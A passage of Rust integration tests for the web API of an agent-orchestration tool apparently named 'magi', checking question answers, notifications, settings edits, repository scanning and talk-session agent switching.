11298 let mut abandoned = store.get(&abandoned_id).expect("get");
11299 abandoned.abandon("timed out");
11300 store.put(&mut abandoned).expect("put");
11301 let res = fx
11302 .post(
11303 &format!("/api/questions/{abandoned_id}/say"),
11304 Some(r#"{"body":"still there?"}"#),
11305 )
11306 .await;
11307 assert_eq!(res.status, 409, "{}", res.body);
11308 }
11309
11310 #[tokio::test]
11311 async fn an_answer_the_question_does_not_offer_is_refused() {
11312 let fx = Fixture::start().await;
11313 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11314 let path = format!("/api/questions/{id}/answer");
11315
11316 for body in [
11317 r#"{"choice":"Postgres"}"#,
11318 r#"{"text":"whatever you think"}"#,
11319 r#"{"choice":"Redis","text":"both"}"#,
11320 r#"{}"#,
11321 ] {
11322 let res = fx.post(&path, Some(body)).await;
11323 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11324 assert!(res.json()["error"].is_string(), "{}", res.body);
11325 }
11326 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11328 }
11329
11330 #[tokio::test]
11331 async fn a_free_text_question_takes_text_and_not_a_choice() {
11332 let fx = Fixture::start().await;
11333 let id = ask(&fx, "What should the flag be called?", &[]);
11334 fx.questions().beat(&id, ask::WaiterKind::Asker);
11335 let path = format!("/api/questions/{id}/answer");
11336
11337 assert_eq!(
11338 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11339 400
11340 );
11341 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11342 assert_eq!(res.status, 200, "{}", res.body);
11343 assert_eq!(res.json()["answer"]["text"], "--json");
11344 }
11345
11346 #[tokio::test]
11347 async fn an_unknown_question_is_a_json_404() {
11348 let fx = Fixture::start().await;
11349 let res = fx
11350 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11351 .await;
11352 assert_eq!(res.status, 404, "{}", res.body);
11353 assert!(res.json()["error"].is_string());
11354 }
11355
11356 #[tokio::test]
11357 async fn notifications_list_read_dismiss_and_health_agree() {
11358 let fx = Fixture::start().await;
11359 let store = Notices::at(fx.home.path().join("notifications"));
11360 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11361 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11362
11363 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11364 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11365
11366 store
11367 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11368 .unwrap();
11369 let health = fx.get("/api/health").await.json();
11370 assert_eq!(health["notifications_unread"], 2);
11371 assert_ne!(
11372 health["notifications_rev"], rev0,
11373 "the badge must move live"
11374 );
11375
11376 let listed = fx.get("/api/notifications").await.json();
11377 assert_eq!(listed["unread"], 2);
11378 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11379 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11380
11381 let read = fx
11382 .post(&format!("/api/notifications/{}/read", a.id), None)
11383 .await;
11384 assert_eq!(read.status, 200, "{}", read.body);
11385 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11386
11387 let gone = fx
11388 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11389 .await;
11390 assert_eq!(gone.status, 200, "{}", gone.body);
11391 let listed = fx.get("/api/notifications").await.json();
11392 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11393 assert_eq!(listed["unread"], 0);
11394
11395 store.raise(Notice::info("x", "again")).unwrap();
11396 let all = fx.post("/api/notifications/read-all", None).await;
11397 assert_eq!(all.status, 200, "{}", all.body);
11398 assert_eq!(all.json()["marked"], 1);
11399 assert_eq!(
11400 fx.get("/api/health").await.json()["notifications_unread"],
11401 0
11402 );
11403
11404 let missing = fx.post("/api/notifications/nope/read", None).await;
11405 assert_eq!(missing.status, 404, "{}", missing.body);
11406 assert!(missing.json()["error"].is_string());
11407 }
11408
11409 #[tokio::test]
11416 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11417 let f = Fixture::start().await;
11418
11419 let res = f
11420 .post(
11421 "/api/queue",
11422 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11423 )
11424 .await;
11425
11426 assert_eq!(
11427 res.status, 405,
11428 "POST /api/queue must not be a route: {}",
11429 res.body
11430 );
11431 assert!(
11432 f.queue().list().is_empty(),
11433 "a task filed by a route that does not exist must not reach the disk"
11434 );
11435 assert_eq!(f.get("/api/queue").await.status, 200);
11438 }
11439
11440 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11442 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11443 .expect("checkout dir");
11444 }
11445
11446 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11448
11449 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11450 let tmp = TempDir::new().expect("tempdir");
11451 let repo = tmp.path().join("repo");
11452 std::fs::create_dir_all(&repo).expect("repo dir");
11453 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11454 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11455 if let Some(text) = machine_toml {
11456 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11457 std::fs::write(&machine, text).expect("machine toml");
11458 }
11459 (tmp, repo, machine)
11460 }
11461
11462 async fn settings_checkout(path: &FsPath, text: &str) {
11463 std::fs::create_dir_all(path).unwrap();
11464 std::fs::write(path.join("magi.toml"), text).unwrap();
11465 for args in [
11466 vec!["init", "-b", "main"],
11467 vec!["add", "magi.toml"],
11468 vec![
11469 "-c",
11470 "user.name=Test",
11471 "-c",
11472 "user.email=test@example.invalid",
11473 "commit",
11474 "-m",
11475 "fixture",
11476 ],
11477 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11478 vec![
11479 "symbolic-ref",
11480 "refs/remotes/origin/HEAD",
11481 "refs/remotes/origin/main",
11482 ],
11483 ] {
11484 crate::git::git(path, &args).await.unwrap();
11485 }
11486 }
11487
11488 #[tokio::test]
11489 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11490 let (tmp, repo, machine) =
11491 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11492 let root = tmp.path().join("roots");
11493 let selected = root.join("host/owner/selected");
11494 settings_checkout(
11495 &selected,
11496 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11497 )
11498 .await;
11499 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11500 let before = std::fs::read(&machine).unwrap();
11501 let ui = Arc::new(
11502 Ui::new(
11503 Queue::at(tmp.path().join("queue")),
11504 Questions::at(tmp.path().join("questions")),
11505 Talks::at(tmp.path().join("talks")),
11506 tmp.path().join("runs"),
11507 tmp.path().to_path_buf(),
11508 repo.clone(),
11509 )
11510 .with_machine_config(Some(machine.clone())),
11511 );
11512 let query = || {
11513 Query(SettingsQuery {
11514 repo: Some(selected.clone()),
11515 })
11516 };
11517 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11518 assert!(v.error.is_none(), "{:?}", v.error);
11519 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11520 assert_eq!(conductor.source, "repo");
11521 assert_eq!(
11522 conductor.machine_value,
11523 Some(toml::Value::String("a".into()))
11524 );
11525 assert!(!conductor.editable);
11526 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11527 assert_eq!(
11528 judges.count.as_ref().unwrap().machine_value,
11529 Some(toml::Value::Integer(1))
11530 );
11531 assert!(
11532 !v.roles
11533 .iter()
11534 .find(|r| r.key == "reviewers")
11535 .unwrap()
11536 .editable
11537 );
11538 let unknown = || {
11539 Query(SettingsQuery {
11540 repo: Some(tmp.path().to_path_buf()),
11541 })
11542 };
11543 assert_eq!(
11544 settings_get(State(ui.clone()), unknown())
11545 .await
11546 .unwrap_err()
11547 .status,
11548 StatusCode::UNPROCESSABLE_ENTITY
11549 );
11550 let body = || {
11551 Ok(Json(RolesBody {
11552 revision: v.revision.clone(),
11553 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11554 counts: Default::default(),
11555 }))
11556 };
11557 assert_eq!(
11558 settings_put_roles(State(ui.clone()), unknown(), body())
11559 .await
11560 .unwrap_err()
11561 .status,
11562 StatusCode::UNPROCESSABLE_ENTITY
11563 );
11564 assert_eq!(std::fs::read(&machine).unwrap(), before);
11565 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11566 .await
11567 .unwrap();
11568 assert_eq!(
11569 saved.repo,
11570 selected.canonicalize().unwrap().display().to_string()
11571 );
11572 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11573 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11574 let fresh = root.join("host/owner/fresh");
11576 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11577 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11578 .await
11579 .unwrap();
11580 assert_eq!(fresh_view.repositories.len(), 3);
11581 }
11582
11583 #[tokio::test]
11584 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11585 let (tmp, repo, machine) = settings_dirs(
11586 "[roles]\nreviewers = [\"a\"]\n",
11587 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11588 );
11589 let root = tmp.path().join("roots");
11590 let selected = root.join("host/owner/selected");
11591 settings_checkout(
11592 &selected,
11593 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11594 )
11595 .await;
11596 let broken = root.join("host/owner/broken");
11597 settings_checkout(&broken, "[roles\nbroken").await;
11598 let machine_text = format!(
11599 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11600 toml::Value::String(root.display().to_string())
11601 );
11602 std::fs::write(&machine, &machine_text).unwrap();
11603 let originals: Vec<_> = [&repo, &selected, &broken]
11604 .iter()
11605 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11606 .collect();
11607 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11608 let default = f.get("/api/settings").await.json();
11609 assert_eq!(
11610 default["repo"],
11611 repo.canonicalize().unwrap().display().to_string()
11612 );
11613 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11614 let query = format!("?repo={}", selected.display());
11615 let res = f.get(&format!("/api/settings{query}")).await;
11616 assert_eq!(res.status, 200, "{}", res.body);
11617 let v = res.json();
11618 assert!(v["error"].is_null(), "{v}");
11619 assert_eq!(v["repositories"], default["repositories"]);
11620 let role = |key: &str| {
11621 v["roles"]
11622 .as_array()
11623 .unwrap()
11624 .iter()
11625 .find(|r| r["key"] == key)
11626 .unwrap()
11627 };
11628 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11629 assert_eq!(role("advisors")["source"], "repo");
11630 assert_eq!(role("advisors")["editable"], false);
11631 assert!(role("advisors")["machine_value"].is_null());
11632 assert_eq!(role("judges")["count"]["value"], 2);
11633 assert_eq!(role("judges")["count"]["machine_value"], 1);
11634 assert_eq!(role("judges")["count"]["source"], "repo");
11635 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11636 assert!(
11637 source.contains("origin/main") && !source.contains("magi/config/"),
11638 "{source}"
11639 );
11640 assert_eq!(
11641 role("reviewers")["editable"],
11642 false,
11643 "default context outside roots must protect its declarations"
11644 );
11645 let body =
11646 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11647 let unknown = format!("?repo={}", tmp.path().display());
11648 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11649 assert_eq!(
11650 f.put(&format!("/api/settings/roles{unknown}"), &body)
11651 .await
11652 .status,
11653 422
11654 );
11655 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11656 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11657 .to_string();
11658 assert_eq!(
11659 f.put(&format!("/api/settings/roles{query}"), &refuse)
11660 .await
11661 .status,
11662 422
11663 );
11664 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11665 assert_eq!(saved.status, 200, "{}", saved.body);
11666 assert_eq!(saved.json()["repo"], v["repo"]);
11667 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11668 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11669 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11670 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11671 }
11672 let error = f
11673 .get(&format!("/api/settings?repo={}", broken.display()))
11674 .await;
11675 assert_eq!(error.status, 200);
11676 assert!(error.json()["error"]["message"].is_string());
11677 assert_eq!(error.json()["repositories"], default["repositories"]);
11678 }
11679
11680 #[tokio::test]
11681 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11682 let (_tmp, repo, machine) =
11683 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11684 let f = Fixture::with_repo_and_machine(repo, machine).await;
11685 let res = f.get("/api/settings").await;
11686 assert_eq!(res.status, 200, "{}", res.body);
11687 let v = res.json();
11688 assert!(v["error"].is_null(), "{v}");
11689 let role = |k: &str| {
11690 v["roles"]
11691 .as_array()
11692 .and_then(|r| r.iter().find(|x| x["key"] == k))
11693 .cloned()
11694 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11695 };
11696 assert_eq!(role("judges")["source"], "machine");
11697 assert_eq!(role("judges")["editable"], true);
11698 assert_eq!(role("implementers")["source"], "default");
11699 let adv = role("advisors");
11700 assert_eq!(adv["fallback"], "judges");
11701 assert!(
11702 adv["seats"]
11703 .as_array()
11704 .is_some_and(|s| s.iter().all(|x| x == "b")),
11705 "{adv}"
11706 );
11707 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11708 assert_eq!(v["agents"][0]["source"], "repo");
11709 }
11710
11711 #[tokio::test]
11712 async fn settings_get_reports_a_config_that_does_not_parse() {
11713 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
11714 let f = Fixture::with_repo_and_machine(repo, machine).await;
11715 let res = f.get("/api/settings").await;
11716 assert_eq!(res.status, 200, "{}", res.body);
11717 let v = res.json();
11718 assert!(v["error"]["message"].is_string(), "{v}");
11719 assert!(
11720 v["error"]["path"]
11721 .as_str()
11722 .is_some_and(|p| p.ends_with("magi.toml")),
11723 "{v}"
11724 );
11725 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
11726 }
11727
11728 #[tokio::test]
11729 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
11730 let (_tmp, repo, machine) = settings_dirs(
11731 SETTINGS_AGENTS,
11732 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
11733 );
11734 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
11735 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11736 let rev = f.get("/api/settings").await.json()["revision"]
11737 .as_str()
11738 .expect("revision")
11739 .to_owned();
11740 let body = serde_json::json!({
11741 "revision": rev,
11742 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
11743 })
11744 .to_string();
11745 let res = f.put("/api/settings/roles", &body).await;
11746 assert_eq!(res.status, 200, "{}", res.body);
11747 let text = std::fs::read_to_string(&machine).expect("machine");
11748 assert_eq!(
11749 text,
11750 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
11751 );
11752 assert_eq!(
11753 std::fs::read(repo.join("magi.toml")).expect("read"),
11754 repo_before
11755 );
11756 let again = f.get("/api/settings").await.json();
11757 let judges = again["roles"]
11758 .as_array()
11759 .expect("roles")
11760 .iter()
11761 .find(|r| r["key"] == "judges")
11762 .expect("judges")
11763 .clone();
11764 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
11765 let stale = f.put("/api/settings/roles", &body).await;
11767 assert_eq!(stale.status, 409, "{}", stale.body);
11768 }
11769
11770 #[tokio::test]
11771 async fn settings_counts_are_reported_and_saved() {
11772 let (_tmp, repo, machine) = settings_dirs(
11773 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
11774 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
11775 );
11776 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11777 let v = f.get("/api/settings").await.json();
11778 let count = |v: &serde_json::Value, k: &str| {
11779 v["roles"]
11780 .as_array()
11781 .and_then(|r| r.iter().find(|x| x["key"] == k))
11782 .map(|x| x["count"].clone())
11783 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11784 };
11785 let imp = count(&v, "implementers");
11786 assert_eq!(imp["value"], 2);
11787 assert_eq!(imp["source"], "machine");
11788 assert_eq!(imp["file_key"], "candidates");
11789 assert_eq!(imp["roster_len"], 2);
11790 assert_eq!(imp["backups"], 0);
11791 assert_eq!(count(&v, "judges")["source"], "default");
11792 assert_eq!(count(&v, "advisors")["min"], 0);
11793 assert_eq!(count(&v, "reviewers")["editable"], false);
11794 assert!(
11795 count(&v, "reviewers")["locked_reason"]
11796 .as_str()
11797 .is_some_and(|m| m.contains("graph.reviewers"))
11798 );
11799 assert!(count(&v, "fixer").is_null());
11800 let rev = v["revision"].as_str().expect("revision").to_owned();
11801 let body = serde_json::json!({
11802 "revision": rev,
11803 "roles": { "judges": ["b"] },
11804 "counts": { "implementers": 1, "advisors": 0 }
11805 })
11806 .to_string();
11807 let res = f.put("/api/settings/roles", &body).await;
11808 assert_eq!(res.status, 200, "{}", res.body);
11809 let text = std::fs::read_to_string(&machine).expect("machine");
11810 assert_eq!(
11811 text,
11812 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
11813 );
11814 let after = f.get("/api/settings").await.json();
11815 assert_eq!(count(&after, "implementers")["value"], 1);
11816 assert_eq!(count(&after, "implementers")["backups"], 1);
11817 assert_eq!(count(&after, "advisors")["value"], 0);
11818 let before = std::fs::read_to_string(&machine).expect("machine");
11819 let rev = after["revision"].as_str().expect("revision").to_owned();
11820 for counts in [
11821 serde_json::json!({ "judges": 0 }),
11822 serde_json::json!({ "judges": "x" }),
11823 serde_json::json!({ "judges": 2.5 }),
11824 serde_json::json!({ "judges": -1 }),
11825 serde_json::json!({ "reviewers": 3 }),
11826 serde_json::json!({ "bogus": 3 }),
11827 ] {
11828 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
11829 let res = f.put("/api/settings/roles", &body).await;
11830 assert_eq!(res.status, 422, "{counts}: {}", res.body);
11831 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
11832 }
11833 }
11834
11835 #[tokio::test]
11836 async fn settings_put_refuses_without_touching_the_file() {
11837 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
11838 let (_tmp, repo, machine) = settings_dirs(
11839 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
11840 Some(machine_text),
11841 );
11842 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
11843 let rev = f.get("/api/settings").await.json()["revision"]
11844 .as_str()
11845 .expect("revision")
11846 .to_owned();
11847 for roles in [
11848 serde_json::json!({ "judges": ["nope"] }),
11849 serde_json::json!({ "reviewers": ["b"] }),
11850 serde_json::json!({ "bogus": ["a"] }),
11851 ] {
11852 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
11853 let res = f.put("/api/settings/roles", &body).await;
11854 assert_eq!(res.status, 422, "{roles}: {}", res.body);
11855 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
11856 assert_eq!(
11857 std::fs::read_to_string(&machine).expect("machine"),
11858 machine_text
11859 );
11860 }
11861 }
11862
11863 #[tokio::test]
11864 async fn repos_list_returns_name_and_path_for_every_configured_root() {
11865 let tmp = TempDir::new().expect("tempdir");
11866 let repo = tmp.path().join("repo");
11867 std::fs::create_dir_all(&repo).expect("repo dir");
11868 let root = tmp.path().join("root");
11869 make_checkout(&root, "github.com", "yukimemi", "magi");
11870 std::fs::write(
11871 repo.join("magi.toml"),
11872 format!(
11873 "[repos]\nroots = [{:?}]\n",
11874 root.to_string_lossy().into_owned()
11875 ),
11876 )
11877 .expect("write magi.toml");
11878
11879 let f = Fixture::with_repo(repo).await;
11880 let res = f.get("/api/repos").await;
11881 assert_eq!(res.status, 200, "{}", res.body);
11882 let list = res.json();
11883 let repos = list.as_array().expect("an array");
11884 assert_eq!(repos.len(), 1);
11885 assert_eq!(repos[0]["name"], "yukimemi/magi");
11886 assert!(
11887 repos[0]["path"]
11888 .as_str()
11889 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
11890 "{list}"
11891 );
11892 }
11893
11894 #[tokio::test]
11895 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
11896 let tmp = TempDir::new().expect("tempdir");
11897 let repo = tmp.path().join("repo");
11898 std::fs::create_dir_all(&repo).expect("repo dir");
11899 let root = tmp.path().join("root");
11900 make_checkout(&root, "github.com", "yukimemi", "magi");
11901 std::fs::write(
11902 repo.join("magi.toml"),
11903 format!(
11904 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
11905 root.to_string_lossy().into_owned()
11906 ),
11907 )
11908 .expect("write magi.toml");
11909
11910 let f = Fixture::with_repo(repo).await;
11911 let first = f.get("/api/repos").await;
11912 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
11913
11914 make_checkout(&root, "github.com", "yukimemi", "rvpm");
11917 let second = f.get("/api/repos").await;
11918 assert_eq!(
11919 second.json().as_array().map(Vec::len),
11920 Some(1),
11921 "a fresh cache must not rescan inside the TTL"
11922 );
11923
11924 let refreshed = f.get("/api/repos?refresh=1").await;
11925 assert_eq!(
11926 refreshed.json().as_array().map(Vec::len),
11927 Some(2),
11928 "an explicit refresh must rescan even inside the TTL"
11929 );
11930 }
11931
11932 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
11938
11939 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
11943 let tmp = TempDir::new().expect("tempdir");
11944 let repo = tmp.path().join("repo");
11945 std::fs::create_dir_all(&repo).expect("repo dir");
11946 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11947 let f = Fixture::with_repo(repo.clone()).await;
11948 (tmp, repo, f)
11949 }
11950
11951 #[tokio::test]
11952 async fn posting_a_talk_with_remembered_choices_is_soft() {
11953 let (_tmp, _repo, f) = talk_fixture().await;
11954
11955 let good = f
11956 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
11957 .await;
11958 assert_eq!(good.status, 201, "{}", good.body);
11959 assert_eq!(good.json()["persona"], "rei");
11960
11961 let stale = f
11963 .post(
11964 "/api/talks",
11965 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
11966 )
11967 .await;
11968 assert_eq!(stale.status, 201, "{}", stale.body);
11969 let v = stale.json();
11970 assert_eq!(v["implementers"], 1);
11971 assert_ne!(v["persona"], "nobody");
11972 let typed = f
11973 .post(
11974 "/api/talks",
11975 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
11976 )
11977 .await;
11978 assert_eq!(typed.status, 201, "{}", typed.body);
11979
11980 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
11982 assert!(
11983 !strict.status.to_string().starts_with('2'),
11984 "{}",
11985 strict.body
11986 );
11987 }
11988
11989 #[tokio::test]
11990 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
11991 let (_tmp, _repo, f) = talk_fixture().await;
11992
11993 let opened = f.post("/api/talks", None).await;
11996 assert_eq!(opened.status, 201, "{}", opened.body);
11997 let body = opened.json();
11998 assert_eq!(body["status"], "open");
11999 assert_eq!(
12000 body["turns"].as_array().unwrap().len(),
12001 0,
12002 "opening takes no agent turn: there is nothing yet to answer"
12003 );
12004
12005 let also_opened = f.post("/api/talks", Some("{}")).await;
12007 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
12008
12009 let listed = f.get("/api/talks").await.json();
12010 assert_eq!(listed.as_array().unwrap().len(), 2);
12011 }
12012
12013 #[tokio::test]
12014 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
12015 let tmp = TempDir::new().expect("tempdir");
12016 let repo = tmp.path().join("repo");
12017 std::fs::create_dir_all(&repo).expect("repo dir");
12018 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
12019 std::fs::write(
12020 repo.join("magi.toml"),
12021 format!("{MOCK_AGENT_TOML}\n{second}"),
12022 )
12023 .expect("write magi.toml");
12024 let home = TempDir::new().expect("temp home");
12025 let talks = Talks::at(home.path().join("talks"));
12026 let ui = Arc::new(
12027 Ui::new(
12028 Queue::at(home.path().join("queue")),
12029 Questions::at(home.path().join("questions")),
12030 talks.clone(),
12031 home.path().join("runs"),
12032 home.path().to_path_buf(),
12033 repo.clone(),
12034 )
12035 .with_worktrees_root(home.path().join("wt")),
12036 );
12037 let cfg = config_for(&repo).await.expect("discover config");
12038 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12039 let id = talk.id.clone();
12040 let call = |agent: &str| {
12041 talk_agent(
12042 State(Arc::clone(&ui)),
12043 Path(id.clone()),
12044 Json(TalkAgent {
12045 agent: agent.to_owned(),
12046 }),
12047 )
12048 };
12049
12050 let unknown = call("nobody").await.expect_err("unknown agent");
12051 assert_eq!(
12052 unknown.status,
12053 StatusCode::BAD_REQUEST,
12054 "{}",
12055 unknown.message
12056 );
12057
12058 {
12059 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12062 let busy = call("second").await.expect_err("busy talk");
12063 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12064 assert!(
12065 busy.message.contains("a talk turn is running"),
12066 "{}",
12067 busy.message
12068 );
12069 drop(guard);
12070 }
12071 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
12072
12073 let Json(view) = call("second").await.expect("switch");
12074 assert_eq!(view.talk.agent, "second");
12075 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
12076 let saved = talks.get(&id).expect("reload");
12077 assert_eq!(saved.agent, "second");
12078 assert_eq!(saved.turns.len(), 1);
12079 assert!(!view.thinking);
12080 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12081 for agent in ["mock", "second"] {
12082 let Json(view) = call(agent).await.expect("immediate consecutive change");
12083 assert_eq!(view.talk.agent, agent);
12084 assert!(!view.thinking);
12085 assert!(!ui.is_thinking(&id));
12086 }
12087
12088 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12089 .await
12090 .expect("detail");
12091 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
12092 assert_eq!(roster, ["mock", "second"]);
12093
12094 let mut closed = talks.get(&id).expect("reload");
12095 talk::close(&mut closed, &talks).expect("close");
12096 let refused = call("mock").await.expect_err("closed talk");
12097 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12098 assert!(
12099 refused.message.contains("takes no more turns"),
12100 "{}",
12101 refused.message
12102 );
12103 }
12104
12105 #[tokio::test]
12106 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
12107 let tmp = TempDir::new().expect("tempdir");
12108 let repo = tmp.path().join("repo");
12109 std::fs::create_dir_all(&repo).expect("repo dir");
12110 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12111 let home = TempDir::new().expect("temp home");
12112 let talks = Talks::at(home.path().join("talks"));
12113 let ui = Arc::new(
12114 Ui::new(
12115 Queue::at(home.path().join("queue")),
12116 Questions::at(home.path().join("questions")),
12117 talks.clone(),
12118 home.path().join("runs"),
12119 home.path().to_path_buf(),
12120 repo.clone(),
12121 )
12122 .with_worktrees_root(home.path().join("wt")),
12123 );
12124 let cfg = config_for(&repo).await.expect("discover config");
12125 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12126 let id = talk.id.clone();
12127 let call = |n: u8| {
12128 talk_implementers(
12129 State(Arc::clone(&ui)),
12130 Path(id.clone()),
12131 Json(TalkImplementers { implementers: n }),
12132 )
12133 };
12134
12135 for bad in [0u8, 4] {
12136 let e = call(bad).await.expect_err("out of range");
12137 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
12138 }
12139 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
12140
12141 {
12142 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12145 let busy = call(2).await.expect_err("busy talk");
12146 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12147 assert!(
12148 busy.message.contains("a talk turn is running"),
12149 "{}",
12150 busy.message
12151 );
12152 drop(guard);
12153 }
12154
12155 let Json(view) = call(3).await.expect("switch");
12156 assert_eq!(view.talk.implementers, 3);
12157 assert!(talks.get(&id).expect("reload").implementers_dirty);
12158 assert!(!view.thinking);
12159 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12160 for n in [1, 2, 3] {
12161 let Json(view) = call(n).await.expect("immediate consecutive change");
12162 assert_eq!(view.talk.implementers, n);
12163 assert!(!view.thinking);
12164 assert!(!ui.is_thinking(&id));
12165 }
12166
